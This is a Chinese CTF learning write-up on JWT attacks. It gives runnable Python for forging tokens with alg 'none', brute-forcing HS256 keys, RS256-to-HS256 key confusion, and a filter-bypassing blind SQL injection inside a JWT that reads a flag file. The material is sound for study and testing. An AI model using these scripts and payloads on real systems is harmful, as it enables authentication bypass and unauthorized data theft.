JWT 学习

前言

在实际测试网站时多次遇到JWT认证,赶紧把这块知识点通过CTF题目的方式补上。

JWT 定义

JWT 全称是Json Web Token,由服务端用加密算法对信息签名来保证其完整性和不可伪造。
Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。特别适用于分布式站点的单点登录(SSO)场景。

  • 优点
  1. JWT可以进行跨语言支持的,如JAVA,JavaScript,NodeJS,PHP等很多语言都可以使用;
  2. JWT可以在自身存储一些其他业务逻辑所必要的非敏感信息;
  3. JWT结构简单,字节占用很小,便于传输;
  4. JWT不需要在服务端保存会话信息,易于应用的扩展;
  • 缺点
  1. JWT包含认证信息,因此一旦信息泄露,任何人都可以获得令牌的所有权限;
  2. JWT不建议使用HTTP协议来传输代码,而是使用加密的HTTPS协议进行传输;
  3. 由于服务器不保存session状态,

JWT 结构

JWT是一个很长的字符串,包含头部、载荷、签名,中间用.分割为三个部分,即

Header.Payload.Signature

下面分别学习每个部分:

  • Header
    Header部分是一个JSON 对象。
{
  "alg": "HS256",
  "typ": "JWT"
}

alg表示签名的算法,默认HS256;
type表示令牌的类型;
最后将Header部分的JSON 对象使用Base64URL算法转成字符串。

  • Payload
    Payload部分也是一个JSON 对象。
    这部分有7个字段,分别是
iss (issuer):JWT的发行者
exp (expiration time):过期时间
sub (subject):JWT面向的主题
aud (audience):JWT的用户
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):JWT唯一标识

除此以外,也可以自定义字段。如:

{
  "sub": "123456789",
  "name": "cseroad",
  "admin": true
}

最后同样将该json对象使用Base64URL算法转成字符串。

  • Signature
    Signature 部分是对前两部分的签名,防止数据被篡改。
    首先需要一个服务器端的秘钥secretkey。然后,使用Header里面指定的签名算法(HS256(HMAC SHA256),按照公式产生签名。

公式如下:

data = base64urlEncode(header) + "." + base64urlEncode(payload)
signature = HMAC-SHA256(data,secretkey)

算法

  • Base64URL算法是base64的修改版,是为了方便在web中传输使用了不同的编码表,不会在末尾填充=号,并将+和/分别改为-和_
  • HMAC算法是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。
  • RSA算法则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
    在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

JWT 漏洞

空密码算法

docker实验环境:

docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token

登录失败后,会返回正确账户密码。再次登录,cookie里token就是JWT。
解码一下。在线解码地址:https://jwt.io/

image.png

将用户修改为admin,并且将alg的值改为none,借助python2的pyjwt库,该库pip直接install安装即可。

import jwt
payload = {"auth":1612336103120,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0","role":"admin","iat":1612336103}
print(jwt.encode(payload,None,algorithm="none"))
image.png

替换新的JWT,再次请求。

image.png

成功登录admin用户。

JWT爆破

题目来自:https://2019shell1.picoctf.com/problem/32267/
当alg指定了加密算法时,可以进行针对key的暴力破解。
python2 编写的爆破脚本:

# !/usr/bin/env python2
# -*- coding: utf-8 -*-
import jwt
import sys

def burp_jwt(jwt_json,dicts):
    with open(dicts) as f:
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256')
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.InvalidSignatureError):
                print('verify key! -->' + key)
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
    if(len(sys.argv) == 3):
        print('User: please burp_jwt.py jwt_json dict.txt')
        jwt_json = sys.argv[1]
        dicts = sys.argv[2]
        burp_jwt(jwt_json,dicts)
    else:
        print('User: please please burp_jwt.py jwt_json dict.txt')

准备好dict.txt爆破字典,运行命令如下:

python burp_jwt.py jwt_json dict.txt
image.png

爆破出key值为ilovepico。
再通过用户修改为admin,伪造jwt。

import jwt

payload = {
    "user":"admin"
}
key = 'ilovepico'

encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)

计算出admin用户的jwt值。获取flag。

image.png

也可以利用c-jwt-cracker进行爆破。
git 该项目。docker 来破解jwt。

docker build . -t jwtcrack
docker run -it --rm  jwtcrack jwt_json 
image.png

修改RSA加密算法为HMAC

我们知道RSA是非对称加密算法,使用私钥secretkey加密,使用本地的public.key解密。而HMAC是对称加密算法。如果服务端期待收到的算法为RS256,而实际上收到的算法是HS256,那么服务端就可能尝试把public当作私钥secretkey,然后用HS256算法解密验证JWT。
题目来自:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php
访问就知道是JWT,且使用RS256算法。

image.png

通过扫描目录获取RSA的公钥public.pem。

image.png

下载后,运行该代码

#python2
import jwt
public = open('public.pem', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

如果运行脚本报错。需要注释algorithms.py文件的第150行。

image.png

再次运行获得admin用户的JWT值。

image.png

send JWT即为admin用户。

image.png

sql注入

题目来自:2020 网鼎杯 玄武组 js_on,可以去ctfhub平台在线练习。

image.png

就看到一个登录框,测试弱口令admin/admin,登录获得key值。

image.png

抓取数据包可以看到使用JWT认证。

image.png

解密JWT

image.png

利用脚本添加key,修改payload部分,计算JWT

import jwt

payload = {
"user": "admin",
"news": "Hello"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'

encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)

得到新的JWT值。

image.png

判断user参数是否存在sql注入
添加单引号,再编码得到JWT值,再发包。"user": "admin'"

image.png

判断sql注入的注入类型。"user": "admin' and 1=1#"

image.png

好像有过滤。
使用注释符/**/进行绕过。
"user": "admin'/**/and/**/1=1#"

image.png

"user": "admin'/**/and/**/1=2#"

image.png

判断为盲注。
下面就可以直接通过load_file函数读取跟目录下的flag值。
最常用的方法就是通过二分法读取。
在读取之前首先要对注入语句进行处理。

  • 关键字之间添加<a>
  • 空格使用注释符/**/绕过

所以一个简单的payload就有了

admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),1,1))>32#

通过mid函数一位一位分割,并通过ascii码计算判断在哪两个数字之间。

image.png

结合程序来看,将payload部分进行加密,赋值token,作为cookie进行get请求,通过返回包是否匹配到hello,判断payload是否有效。
首先尝试获取第一位flag字母的ascii值,最小ascii为32,最大为127。
第一次运算,mid取32加127和的整数为79,max取127;第一位flag的ascii是否大于79,判断大于,所以mid最小值变为(79+127)/2=103,最大值为127。判断第一位flag的ascii小于103,所以要把最大值赋值为103,最小值就变为(79+103)/2=91,依次循环,直到计算出在某两个相邻数字之间。

image.png

大于98,小于100,只能是99。
以上就是利用二分法猜解出flag第一位的结果。
外面再嵌套一个for循环,遍历第二位、第三位、第四位......
完整代码为

# coding=utf-8
import jwt
import requests
import re


key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-0ee2421b156baecb.sandbox.ctfhub.com:10080/index.php"
payloadTmpl = "admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"

def sql_jwt():
    result = ""
    for i in range(1,50):
        min = 31
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2
            payload = payloadTmpl.format(i,mid)
            print(payload)
            jwttoken = {
                "user": payload,
                "news": "hello"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode('utf-8')
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies)
            if re.findall("hello", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)

if __name__ == "__main__":
    sql_jwt()

最终获得flag。

image.png

总结

拿不到key,基本没法弄。

参考资料

https://saucer-man.com/information_security/377.html
https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
http://www.si1ent.xyz/2020/10/21/JWT%E5%AE%89%E5%85%A8%E4%B8%8E%E5%AE%9E%E6%88%98/
https://www.ghtwf01.cn/index.php/archives/1108/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,560评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,104评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,297评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,869评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,275评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,563评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,833评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,543评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,245评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,512评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,011评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,359评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,006评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,062评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,825评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,590评论 2 273
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,501评论 2 268

推荐阅读更多精彩内容

  • jwt是如何验证的? jwt保存在客户端,每次请求时都将其放在header中,这样服务器接收到请求后,取出jwt进...
    whynotybb阅读 808评论 0 0
  • Linux多线程同步机制 - 信号量信号量函数定义如下:include int semctl(int sem_i...
    molscar阅读 670评论 0 0
  • jwt,全称json-web-token.其安全问题一直以来众所周知。CTF中也经常性的会出现相关的jwt伪造的题...
    byc_404阅读 579评论 0 0
  • JWT 使用 前面简单介绍了把默认的页面登录改为前后端分离的接口异步登录的方法,可以帮我们实现基本的前后端分离登录...
    郭艺宾阅读 1,073评论 0 5
  • 久违的晴天,家长会。 家长大会开好到教室时,离放学已经没多少时间了。班主任说已经安排了三个家长分享经验。 放学铃声...
    飘雪儿5阅读 7,401评论 16 21